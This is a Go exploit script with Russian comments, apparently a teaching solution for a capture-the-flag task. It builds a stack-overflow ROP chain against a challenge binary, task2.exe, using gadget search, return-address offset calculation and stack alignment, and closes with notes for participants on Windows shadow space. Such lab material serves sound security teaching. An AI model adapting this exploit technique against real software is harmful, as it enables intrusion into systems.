/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */ package main import ( "bytes" "fmt" "log" "winpwn" ) func main() { target := "task2.exe" peFile, err := winpwn.OpenPE(target) if err != nil { log.Fatalf("Failed to open PE: %v", err) } defer peFile.Close() // 2. Получаем RVA функции win из таблицы экспортов winRVA, err := peFile.GetProcAddress("win") if err != nil { log.Fatalf("win() not found: %v", err) } // 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR) imageBase, err := peFile.ImageBase() if err != nil { log.Fatalf("Failed to read ImageBase: %v", err) } // Вычисляем абсолютный адрес win() winAddr := imageBase + winRVA fmt.Printf("[+] win() address: 0x%X\n", winAddr) // 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен rop, err := winpwn.NewROP(target) if err != nil { log.Fatalf("ROP init error: %v", err) } defer rop.Close() popRcxGadgets, err := rop.Search("pop rcx ; ret") if err != nil { log.Fatalf("pop rcx not found") } popRcx := popRcxGadgets[0].Address fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx) // Верификация цепочки прямо из скрипта, без внешнего objdump/IDA if lines, err := rop.Disassemble(popRcx, 2); err == nil { fmt.Printf("[*] verified: %s\n", lines) } retGadgets, err := rop.Search("ret") if err != nil { log.Fatalf("ret not found") } ret := retGadgets[0].Address // 5. Конструируем пейлоад // Реальное расстояние до return-адреса зависит от компилятора и его // версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь // предположение по исходнику. На gcc/MinGW из этой сборки buf реально // лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`), // то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через // objdump -d / x86dbg или просто перебором, не доверяй комментарию // в исходнике вслепую. offset := 56 payload := bytes.Repeat([]byte("A"), offset) // --- ROP Цепочка --- // Закидываем 0xDEADBEEF в RCX payload = append(payload, winpwn.P64(popRcx)...) payload = append(payload, winpwn.P64(0xDEADBEEF)...) // Stack Alignment // Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0). // Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз. payload = append(payload, winpwn.P64(ret)...) // Прыжок в win() payload = append(payload, winpwn.P64(winAddr)...) // 6. Взаимодействие tube, err := winpwn.Spawn("./" + target) if err != nil { log.Fatalf("Spawn: %v", err) } if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil { log.Fatalf("SendLineAfter: %v", err) } tube.Interactive() } /*На что обратить внимание твоим участникам: Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора. Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */